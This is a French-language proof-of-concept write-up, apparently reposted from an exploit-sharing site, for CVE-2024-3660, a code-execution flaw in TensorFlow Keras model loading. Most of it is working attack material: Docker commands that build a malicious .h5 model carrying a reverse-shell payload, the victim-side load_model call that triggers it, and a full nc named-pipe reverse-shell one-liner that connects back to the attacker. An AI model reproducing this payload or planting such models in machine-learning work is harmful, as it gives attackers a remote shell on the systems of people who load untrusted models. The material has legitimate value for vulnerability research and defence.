CVE-2024-3660 – Exécution de code arbitraire dans TensorFlow Keras via un modèle malveillant

Aperçu

CVE-2024-3660 est une vulnérabilité d'exécution de code arbitraire dans le framework Keras de TensorFlow affectant les versions < 2.13.
Elle permet à un attaquant d'intégrer du code Python dans un modèle (par exemple via une couche Lambda) qui s'exécute automatiquement lors du chargement du modèle.

Lorsqu'un fichier de modèle .h5 malveillant est chargé dans un environnement vulnérable, des commandes arbitraires sont exécutées avec les mêmes permissions que le processus de chargement.

Versions concernées

• Keras de TensorFlow < 2.13.0
• Modèles Keras chargés via :
  root@kitploit:~

  tf.keras.models.load_model("CVE20243660.h5", compile=False)
  

ou dans les versions plus anciennes de TensorFlow où safe_mode n'est pas activé par défaut.

Description du PoC

Ce PoC utilise une construction basée sur Docker pour générer un modèle hack.h5 malveillant contenant une charge utile de shell inversé (reverse shell). Lorsque le modèle est chargé dans une version vulnérable de TensorFlow, il se connecte en retour à la machine de l'attaquant.

Utilisation

1. Construction et extraction du modèle malveillant

docker buildx build \
  --platform linux/amd64 \
  --build-arg LHOST=<YOUR-IP> \
  --build-arg LPORT=<YOUR-PORT> \
  -t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id

2. Chargement du modèle malveillant (côté victime)

• Dans un environnement TensorFlow vulnérable (< 2.13) :

import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)

Charge utile

• La charge utile intégrée utilise nc pour un reverse shell :

rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

Références

NVD CMU Oligo Secuirty